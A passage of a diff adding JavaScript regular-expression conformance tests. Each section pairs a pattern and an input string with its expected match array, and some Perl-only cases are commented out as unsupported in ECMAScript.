+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'effgz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('effgz', 'effgz', undefined);
+addThis();
+
+status = inSection(96);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'ij';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ij', 'ij', 'j');
+addThis();
+
+status = inSection(97);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'reffgz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('effgz', 'effgz', undefined);
+addThis();
+
+status = inSection(98);
+pattern = /((((((((((a))))))))))/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a');
+addThis();
+
+status = inSection(99);
+pattern = /((((((((((a))))))))))\10/;
+string = 'aa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aa', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a');
+addThis();
+
+status = inSection(100);
+pattern = /((((((((((a))))))))))/;
+string = 'a!';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a');
+addThis();
+
+status = inSection(101);
+pattern = /(((((((((a)))))))))/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a');
+addThis();
+
+status = inSection(102);
+pattern = /(.*)c(.*)/;
+string = 'abcde';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcde', 'ab', 'de');
+addThis();
+
+status = inSection(103);
+pattern = /abcd/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd');
+addThis();
+
+status = inSection(104);
+pattern = /a(bc)d/;
+string = 'abcd';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcd', 'bc');
+addThis();
+
+status = inSection(105);
+pattern = /a[-]?c/;
+string = 'ac';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ac');
+addThis();
+
+status = inSection(106);
+pattern = /(abc)\1/;
+string = 'abcabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcabc', 'abc');
+addThis();
+
+status = inSection(107);
+pattern = /([a-c]*)\1/;
+string = 'abcabc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('abcabc', 'abc');
+addThis();
+
+status = inSection(108);
+pattern = /(a)|\1/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a', 'a');
+addThis();
+
+status = inSection(109);
+pattern = /(([a-c])b*?\2)*/;
+string = 'ababbbcbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ababb', 'bb', 'b');
+addThis();
+
+status = inSection(110);
+pattern = /(([a-c])b*?\2){3}/;
+string = 'ababbbcbc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ababbbcbc', 'cbc', 'c');
+addThis();
+
+/* Can't refer to a capture before it's encountered & completed
+ status = inSection(111);
+ pattern = /((\3|b)\2(a)x)+/;
+ string = 'aaaxabaxbaaxbbax';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbax', 'bbax', 'b', 'a');
+ addThis();
+
+ status = inSection(112);
+ pattern = /((\3|b)\2(a)){2,}/;
+ string = 'bbaababbabaaaaabbaaaabba';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbaaaabba', 'bba', 'b', 'a');
+ addThis();
+*/
+
+status = inSection(113);
+pattern = /abc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(114);
+pattern = /abc/i;
+string = 'XABCY';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(115);
+pattern = /abc/i;
+string = 'ABABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(116);
+pattern = /ab*c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(117);
+pattern = /ab*bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(118);
+pattern = /ab*bc/i;
+string = 'ABBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBC');
+addThis();
+
+status = inSection(119);
+pattern = /ab*?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(120);
+pattern = /ab{0,}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(121);
+pattern = /ab+?bc/i;
+string = 'ABBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBC');
+addThis();
+
+status = inSection(122);
+pattern = /ab+bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(123);
+pattern = /ab{1,}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(124);
+pattern = /ab{1,3}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(125);
+pattern = /ab{3,4}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBBC');
+addThis();
+
+status = inSection(126);
+pattern = /ab??bc/i;
+string = 'ABBC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBC');
+addThis();
+
+status = inSection(127);
+pattern = /ab??bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(128);
+pattern = /ab{0,1}?bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(129);
+pattern = /ab??c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(130);
+pattern = /ab{0,1}?c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(131);
+pattern = /^abc$/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(132);
+pattern = /^abc/i;
+string = 'ABCC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(133);
+pattern = /abc$/i;
+string = 'AABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(134);
+pattern = /^/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(135);
+pattern = /$/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(136);
+pattern = /a.c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(137);
+pattern = /a.c/i;
+string = 'AXC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AXC');
+addThis();
+
+status = inSection(138);
+pattern = /a.*?c/i;
+string = 'AXYZC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AXYZC');
+addThis();
+
+status = inSection(139);
+pattern = /a[bc]d/i;
+string = 'ABD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABD');
+addThis();
+
+status = inSection(140);
+pattern = /a[b-d]e/i;
+string = 'ACE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ACE');
+addThis();
+
+status = inSection(141);
+pattern = /a[b-d]/i;
+string = 'AAC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AC');
+addThis();
+
+status = inSection(142);
+pattern = /a[-b]/i;
+string = 'A-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A-');
+addThis();
+
+status = inSection(143);
+pattern = /a[b-]/i;
+string = 'A-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A-');
+addThis();
+
+status = inSection(144);
+pattern = /a]/i;
+string = 'A]';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A]');
+addThis();
+
+/* Perl supports ] & ^] inside a [], ECMA does not
+ status = inSection(145);
+ pattern = /a[]]b/i;
+ string = 'A]B';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('A]B');
+ addThis();
+*/
+
+status = inSection(146);
+pattern = /a[^bc]d/i;
+string = 'AED';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AED');
+addThis();
+
+status = inSection(147);
+pattern = /a[^-b]c/i;
+string = 'ADC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ADC');
+addThis();
+
+/* Perl supports ] & ^] inside a [], ECMA does not
+ status = inSection(148);
+ pattern = /a[^]b]c/i;
+ string = 'ADC';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ADC');
+ addThis();
+*/
+
+status = inSection(149);
+pattern = /ab|cd/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB');
+addThis();
+
+status = inSection(150);
+pattern = /ab|cd/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB');
+addThis();
+
+status = inSection(151);
+pattern = /()ef/i;
+string = 'DEF';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EF', '');
+addThis();
+
+status = inSection(152);
+pattern = /a\(b/i;
+string = 'A(B';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A(B');
+addThis();
+
+status = inSection(153);
+pattern = /a\(*b/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB');
+addThis();
+
+status = inSection(154);
+pattern = /a\(*b/i;
+string = 'A((B';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A((B');
+addThis();
+
+status = inSection(155);
+pattern = /a\\b/i;
+string = 'A\\B';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A\\B');
+addThis();
+
+status = inSection(156);
+pattern = /((a))/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A', 'A');
+addThis();
+
+status = inSection(157);
+pattern = /(a)b(c)/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC', 'A', 'C');
+addThis();
+
+status = inSection(158);
+pattern = /a+b+c/i;
+string = 'AABBABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(159);
+pattern = /a{1,}b{1,}c/i;
+string = 'AABBABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(160);
+pattern = /a.+?c/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(161);
+pattern = /a.*?c/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(162);
+pattern = /a.{0,5}?c/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(163);
+pattern = /(a+|b)*/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'B');
+addThis();
+
+status = inSection(164);
+pattern = /(a+|b){0,}/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'B');
+addThis();
+
+status = inSection(165);
+pattern = /(a+|b)+/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'B');
+addThis();
+
+status = inSection(166);
+pattern = /(a+|b){1,}/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'B');
+addThis();
+
+status = inSection(167);
+pattern = /(a+|b)?/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A');
+addThis();
+
+status = inSection(168);
+pattern = /(a+|b){0,1}/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A');
+addThis();
+
+status = inSection(169);
+pattern = /(a+|b){0,1}?/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('', undefined);
+addThis();
+
+status = inSection(170);
+pattern = /[^ab]*/i;
+string = 'CDE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('CDE');
+addThis();
+
+status = inSection(171);
+pattern = /([abc])*d/i;
+string = 'ABBBCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBCD', 'C');
+addThis();
+
+status = inSection(172);
+pattern = /([abc])*bcd/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'A');
+addThis();
+
+status = inSection(173);
+pattern = /a|b|c|d|e/i;
+string = 'E';
+actualmatch = string.match(pattern);
+expectedmatch = Array('E');
+addThis();
+
+status = inSection(174);
+pattern = /(a|b|c|d|e)f/i;
+string = 'EF';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EF', 'E');
+addThis();
+
+status = inSection(175);
+pattern = /abcd*efg/i;
+string = 'ABCDEFG';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCDEFG');
+addThis();
+
+status = inSection(176);
+pattern = /ab*/i;
+string = 'XABYABBBZ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB');
+addThis();
+
+status = inSection(177);
+pattern = /ab*/i;
+string = 'XAYABBBZ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A');
+addThis();
+
+status = inSection(178);
+pattern = /(ab|cd)e/i;
+string = 'ABCDE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('CDE', 'CD');
+addThis();
+
+status = inSection(179);
+pattern = /[abhgefdc]ij/i;
+string = 'HIJ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('HIJ');
+addThis();
+
+status = inSection(180);
+pattern = /(abc|)ef/i;
+string = 'ABCDEF';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EF', '');
+addThis();
+
+status = inSection(181);
+pattern = /(a|b)c*d/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('BCD', 'B');
+addThis();
+
+status = inSection(182);
+pattern = /(ab|ab*)bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC', 'A');
+addThis();
+
+status = inSection(183);
+pattern = /a([bc]*)c*/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC', 'BC');
+addThis();
+
+status = inSection(184);
+pattern = /a([bc]*)(c*d)/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'BC', 'D');
+addThis();
+
+status = inSection(185);
+pattern = /a([bc]+)(c*d)/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'BC', 'D');
+addThis();
+
+status = inSection(186);
+pattern = /a([bc]*)(c+d)/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'B', 'CD');
+addThis();
+
+status = inSection(187);
+pattern = /a[bcd]*dcdcde/i;
+string = 'ADCDCDE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ADCDCDE');
+addThis();
+
+status = inSection(188);
+pattern = /(ab|a)b*c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC', 'AB');
+addThis();
+
+status = inSection(189);
+pattern = /((a)(b)c)(d)/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'ABC', 'A', 'B', 'D');
+addThis();
+
+status = inSection(190);
+pattern = /[a-zA-Z_][a-zA-Z0-9_]*/i;
+string = 'ALPHA';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ALPHA');
+addThis();
+
+status = inSection(191);
+pattern = /^a(bc+|b[eh])g|.h$/i;
+string = 'ABH';
+actualmatch = string.match(pattern);
+expectedmatch = Array('BH', undefined);
+addThis();
+
+status = inSection(192);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'EFFGZ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EFFGZ', 'EFFGZ', undefined);
+addThis();
+
+status = inSection(193);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'IJ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('IJ', 'IJ', 'J');
+addThis();
+
+status = inSection(194);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'REFFGZ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EFFGZ', 'EFFGZ', undefined);
+addThis();
+
+status = inSection(195);
+pattern = /((((((((((a))))))))))/i;
+string = 'A';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A');
+addThis();
+
+status = inSection(196);
+pattern = /((((((((((a))))))))))\10/i;
+string = 'AA';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AA', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A');
+addThis();
+
+status = inSection(197);
+pattern = /((((((((((a))))))))))/i;
+string = 'A!';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A');
+addThis();
+
+status = inSection(198);
+pattern = /(((((((((a)))))))))/i;
+string = 'A';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A');
+addThis();
+
+status = inSection(199);
+pattern = /(?:(?:(?:(?:(?:(?:(?:(?:(?:(a))))))))))/i;
+string = 'A';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A');
+addThis();
+
+status = inSection(200);
+pattern = /(?:(?:(?:(?:(?:(?:(?:(?:(?:(a|b|c))))))))))/i;
+string = 'C';
+actualmatch = string.match(pattern);
+expectedmatch = Array('C', 'C');
+addThis();
+
+status = inSection(201);
+pattern = /(.*)c(.*)/i;
+string = 'ABCDE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCDE', 'AB', 'DE');
+addThis();
+
+status = inSection(202);
+pattern = /abcd/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD');
+addThis();
+
+status = inSection(203);
+pattern = /a(bc)d/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'BC');
+addThis();
+
+status = inSection(204);
+pattern = /a[-]?c/i;
+string = 'AC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AC');
+addThis();
+
+status = inSection(205);
+pattern = /(abc)\1/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCABC', 'ABC');
+addThis();
+
+status = inSection(206);
+pattern = /([a-c]*)\1/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCABC', 'ABC');
+addThis();
+
+status = inSection(207);
+pattern = /a(?!b)./;
+string = 'abad';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ad');
+addThis();
+
+status = inSection(208);
+pattern = /a(?=d)./;
+string = 'abad';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ad');
+addThis();
+
+status = inSection(209);
+pattern = /a(?=c|d)./;
+string = 'abad';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ad');
+addThis();
+
+status = inSection(210);
+pattern = /a(?:b|c|d)(.)/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace', 'e');
+addThis();
+
+status = inSection(211);
+pattern = /a(?:b|c|d)*(.)/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace', 'e');
+addThis();
+
+status = inSection(212);
+pattern = /a(?:b|c|d)+?(.)/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace', 'e');
+addThis();
+
+status = inSection(213);
+pattern = /a(?:b|c|d)+?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acd', 'd');
+addThis();
+
+status = inSection(214);
+pattern = /a(?:b|c|d)+(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(215);
+pattern = /a(?:b|c|d){2}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdb', 'b');
+addThis();
+
+status = inSection(216);
+pattern = /a(?:b|c|d){4,5}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdb', 'b');
+addThis();
+
+status = inSection(217);
+pattern = /a(?:b|c|d){4,5}?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcd', 'd');
+addThis();
+
+// MODIFIED - ECMA has different rules for paren contents
+status = inSection(218);
+pattern = /((foo)|(bar))*/;
+string = 'foobar';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('foobar', 'bar', 'foo', 'bar');
+expectedmatch = Array('foobar', 'bar', undefined, 'bar');
+addThis();
+
+status = inSection(219);
+pattern = /a(?:b|c|d){6,7}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(220);
+pattern = /a(?:b|c|d){6,7}?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(221);
+pattern = /a(?:b|c|d){5,6}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(222);
+pattern = /a(?:b|c|d){5,6}?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdb', 'b');
+addThis();
+
+status = inSection(223);
+pattern = /a(?:b|c|d){5,7}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(224);
+pattern = /a(?:b|c|d){5,7}?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdb', 'b');
+addThis();
+
+status = inSection(225);
+pattern = /a(?:b|(c|e){1,2}?|d)+?(.)/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace', 'c', 'e');
+addThis();
+
+status = inSection(226);
+pattern = /^(.+)?B/;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'A');
+addThis();
+
+/* MODIFIED - ECMA has different rules for paren contents */
+status = inSection(227);
+pattern = /^([^a-z])|(\^)$/;
+string = '.';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('.', '.', '');
+expectedmatch = Array('.', '.', undefined);
+addThis();
+
+status = inSection(228);
+pattern = /^[<>]&/;
+string = '<&OUT';
+actualmatch = string.match(pattern);
+expectedmatch = Array('<&');
+addThis();
+
+/* Can't refer to a capture before it's encountered & completed
+ status = inSection(229);
+ pattern = /^(a\1?){4}$/;
+ string = 'aaaaaaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaaaaaaaa', 'aaaa');
+ addThis();
+
+ status = inSection(230);
+ pattern = /^(a(?(1)\1)){4}$/;
+ string = 'aaaaaaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaaaaaaaa', 'aaaa');
+ addThis();
+*/
+
+status = inSection(231);
+pattern = /((a{4})+)/;
+string = 'aaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aaaaaaaa', 'aaaaaaaa', 'aaaa');
+addThis();
+
+status = inSection(232);
+pattern = /(((aa){2})+)/;
+string = 'aaaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aaaaaaaa', 'aaaaaaaa', 'aaaa', 'aa');
+addThis();
+
+status = inSection(233);
+pattern = /(((a{2}){2})+)/;
+string = 'aaaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aaaaaaaa', 'aaaaaaaa', 'aaaa', 'aa');
+addThis();
+
+status = inSection(234);
+pattern = /(?:(f)(o)(o)|(b)(a)(r))*/;
+string = 'foobar';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('foobar', 'f', 'o', 'o', 'b', 'a', 'r');
+expectedmatch = Array('foobar', undefined, undefined, undefined, 'b', 'a', 'r');
+addThis();
+
+/* ECMA supports (?: (?= and (?! but doesn't support (?< etc.
+ status = inSection(235);
+ pattern = /(?<=a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(236);
+ pattern = /(?<!c)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(237);
+ pattern = /(?<!c)b/;
+ string = 'b';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(238);
+ pattern = /(?<!c)b/;
+ string = 'b';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+*/
+
+status = inSection(239);
+pattern = /(?:..)*a/;
+string = 'aba';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aba');
+addThis();
+
+status = inSection(240);
+pattern = /(?:..)*?a/;
+string = 'aba';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+/*
+ * MODIFIED - ECMA has different rules for paren contents. Note
+ * this regexp has two non-capturing parens, and one capturing
+ *
+ * The issue: shouldn't the match be ['ab', undefined]? Because the
+ * '\1' matches the undefined value of the second iteration of the '*'
+ * (in which the 'b' part of the '|' matches). But Perl wants ['ab','b'].
+ *
+ * Answer: waldemar@netscape.com:
+ *
+ * The correct answer is ['ab', undefined]. Perl doesn't match
+ * ECMAScript here, and I'd say that Perl is wrong in this case.
+ */
+status = inSection(241);
+pattern = /^(?:b|a(?=(.)))*\1/;
+string = 'abc';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('ab', 'b');
+expectedmatch = Array('ab', undefined);
+addThis();
+
+status = inSection(242);
+pattern = /^(){3,5}/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('', '');
+addThis();
+
+status = inSection(243);
+pattern = /^(a+)*ax/;
+string = 'aax';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aax', 'a');
+addThis();
+
+status = inSection(244);
+pattern = /^((a|b)+)*ax/;
+string = 'aax';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aax', 'a', 'a');
+addThis();
+
+status = inSection(245);
+pattern = /^((a|bc)+)*ax/;
+string = 'aax';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aax', 'a', 'a');
+addThis();
+
+/* MODIFIED - ECMA has different rules for paren contents */
+status = inSection(246);
+pattern = /(a|x)*ab/;
+string = 'cab';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('ab', '');
+expectedmatch = Array('ab', undefined);
+addThis();
+
+status = inSection(247);
+pattern = /(a)*ab/;
+string = 'cab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', undefined);
+addThis();
+
+/* ECMA doesn't support (?imsx or (?-imsx
+ status = inSection(248);
+ pattern = /(?:(?i)a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(249);
+ pattern = /((?i)a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(250);
+ pattern = /(?:(?i)a)b/;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('Ab');
+ addThis();
+
+ status = inSection(251);
+ pattern = /((?i)a)b/;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('Ab', 'A');
+ addThis();
+
+ status = inSection(252);
+ pattern = /(?i:a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(253);
+ pattern = /((?i:a))b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(254);
+ pattern = /(?i:a)b/;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('Ab');
+ addThis();
+
+ status = inSection(255);
+ pattern = /((?i:a))b/;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('Ab', 'A');
+ addThis();
+
+ status = inSection(256);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(257);
+ pattern = /((?-i)a)b/i;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(258);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB');
+ addThis();
+
+ status = inSection(259);
+ pattern = /((?-i)a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB', 'a');
+ addThis();
+
+ status = inSection(260);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB');
+ addThis();
+
+ status = inSection(261);
+ pattern = /((?-i)a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB', 'a');
+ addThis();
+
+ status = inSection(262);
